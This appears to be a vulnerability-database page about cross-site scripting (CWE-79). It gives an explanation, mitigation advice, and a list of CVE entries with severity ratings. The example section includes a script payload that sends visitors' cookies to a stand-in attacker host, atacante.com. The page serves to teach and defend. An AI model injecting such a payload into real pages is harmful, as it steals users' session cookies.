Fallos del tipo CWE-79

29.693 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-40668MEDIUMWordPress Save as PDF plugin by Pdfcrowd Plugin <= 2.16.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-44173MEDIUMOnline Movie Ticket Booking System v1.0 - Reflected Cross-Site Scripting (XSS)EPSS 0.4%CVE-2023-43971MEDIUMCross Site Scripting vulnerability in ACG-faka v1.1.7 allows a remote attacker to execute arbitrary code via the encode parameter in Index.pEPSS 0.4%CVE-2024-30201HIGHWordPress WP Smart Import plugin <= 1.0.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-59417MEDIUMLobe Chat Desktop Vulnerable to Remote Code Execution via XSS in Chat MessagesEPSS 0.4%CVE-2022-26328LOWUser enumeration vulnerability has been discovered in OpenText™ Performance CenterEPSS 0.4%CVE-2026-12399MEDIUMGutenverse <= 3.8.0 - Authenticated (Editor+) Stored Cross-Site Scripting via 'fonts[].font.font.value' ParameterEPSS 0.4%CVE-2026-11898MEDIUMWhite Label CMS <= 2.7.12 - Authenticated (Administrator+) Stored Cross-Site Scripting via Import SettingsEPSS 0.4%CVE-2023-33311MEDIUMWordPress Contact Form Entries Plugin <= 1.3.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-40665MEDIUMWordPress Save as Image plugin by Pdfcrowd Plugin <= 2.16.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-25874MEDIUMA cross-site scripting (XSS) vulnerability in the New/Edit Article module of Enhavo CMS v0.13.1 allows attackers to execute arbitrary web scEPSS 0.4%CVE-2026-56670HIGHComfyUI: Stored XSS via SVG file upload on the /view endpointEPSS 0.4%CVE-2024-0821MEDIUMCost of Goods Sold (COGS): Cost & Profit Calculator for WooCommerce <= 3.2.8 - Reflected Cross-Site ScriptingEPSS 0.4%CVE-2026-11356MEDIUMIvory Search <= 5.5.15 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'menu_title' and 'menu_magnifier_color' SettingsEPSS 0.4%CVE-2023-23816MEDIUMWordPress Sitemap Index Plugin <= 1.2.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-41242MEDIUMWordPress Snap Pixel Plugin <= 1.5.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-25551MEDIUM A CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability exists on a DCE fileEPSS 0.4%CVE-2026-41683HIGHHTTP response splitting and DoS in i18next-http-middleware via unsanitised Content-Language headerEPSS 0.4%CVE-2019-25425MEDIUMComodo Dome Firewall 2.7.0 Reflected Cross-Site Scripting via smtpconfigEPSS 0.4%CVE-2024-24115MEDIUMA stored cross-site scripting (XSS) vulnerability in the Edit Page function of Cotonti CMS v0.9.24 allows authenticated attackers to executeEPSS 0.4%